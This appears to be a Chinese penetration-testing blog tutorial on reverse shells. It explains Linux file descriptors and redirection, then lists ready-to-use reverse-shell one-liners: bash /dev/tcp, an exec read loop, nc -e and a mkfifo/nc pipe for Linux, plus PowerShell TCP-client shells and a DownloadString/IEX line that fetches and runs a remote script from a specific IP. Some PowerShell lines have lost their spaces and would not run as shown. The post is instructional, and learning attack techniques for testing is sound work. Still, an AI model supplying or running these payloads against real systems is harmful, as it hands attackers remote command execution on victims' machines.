渗透测试学习25:反弹shell

简述

反弹shell就是:
就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

正向shell和反向shell:
正向就是攻击者连接被攻击者;反向就是被攻击者连接攻击者。这里讨论的反弹shell是指反向shell,本质上是网络概念的客户端与服务端的角色反转。

很多时候正向shell不好用,原因:在内网、动态IP、防火墙保护等。

linux下文件描述符和重定向

文件描述符

linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
文件所有输入输出都是由该进程所有打开的文件描述符控制的。

重定向

学了上面的文件描述符,我们就可以更好的理解重定向。
输入重定向 < <<
输出重定向 > >>
注:执行指令时会先检查重定向,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),而若指令中有多个重定向是从左到右解析。

输入重定向:[n]< word

注:n和<没空格,<和word有空格
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)
例子:cat 0<file执行结果是打开file并回显到屏幕上。
解析:解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat(cat命令用于连接文件并打印到标准输出设备上)再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。(类似与指针,指向某个文件)

输出重定向:[n]> word

注:n和<没空格,<和word有空格
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
例子:

echo hello 1> file
cat file

输出hello
解析:1> file 是将echo的输出结果写入file,再cat file就可以得到本应该显示在显示器上的东西。

标准输出与标准错误输出重定向:&> word

说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1

文件描述符的复制

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

Linux 反弹shell原理

基本流程:
受害者:
Ubuntu Linux ------> 192.168.146.128
攻击者:
Kali Linux ------> 192.168.146.129
我们就以最常见的bash为例:
attacker机器上执行:
nc -lvp 2333
victim 机器上执行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
执行之后就会出现受害者的shell

解析:
bash -i表示的是产生交互式的shell
/dev/tcp/ip/port不是磁盘里的文件,而是bash的一个功能
0>&1即将其文件描述符的输入和输出都指向到/dev/tcp/ip/port
输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能
>&混合输出,可以使受害者看不到执行的命令

常用linux下反弹shell

  1. 方法一
    bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
    bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

  2. 方法二
    bash -i >& /dev/tcp/192.168.146.129/2333 <&2
    bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

  3. 方法三
    exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

  4. 方法四
    nc -e /bin/sh 192.168.146.129 2333
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f
    简单的解释:
    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

windows下反弹shell

Windows PowerShell 是一种命令行外壳程序和脚本环境,现在大部分服务器都满足版本要求。
姿势一:

powershell.exe-nop-c"$client=New-ObjectNet.Sockets.TCPClient('192.168.1.11',123);$stream= $client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0) {;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex$data2>&1 |Out-String);$sendback2=$sendback+'PS'+(pwd).Path+'>';$sendbyte= ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$cli ent.Close()"

在可以执⾏命令的点执⾏上⾯的命令就可以了,但是要注意修改IP和端口

姿势二:

functionInvoke-lltestTcp 
{
$client=New-ObjectNet.Sockets.TCPClient('192.168.1.11',123) 
$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0} while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0)
{
$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0,$i) 
$sendback=(iex$data2>&1|Out-String)
$sendback2=$sendback+'PS'+(pwd).Path+'>' 
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2) 
$stream.Write($sendbyte,0,$sendbyte.Length) 
$stream.Flush() }
$client.Close() 
}

把代码写进Ps1⽂件⾥⾯,即把上⾯这段代码保存到 Ps1⽂件,修改好IP和端口,然后⽤Powershell的下载执⾏来反弹SHELL。

powershellIEX(New-ObjectNet.WebClient).DownloadString('http://141.164.56.7:88/1.ps1');Invoke-lltestTcp

姿势三:
链接

总结

linux和windows下方法各异,可以使用一些脚本或者工具(msf,cs等)来反弹shell。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值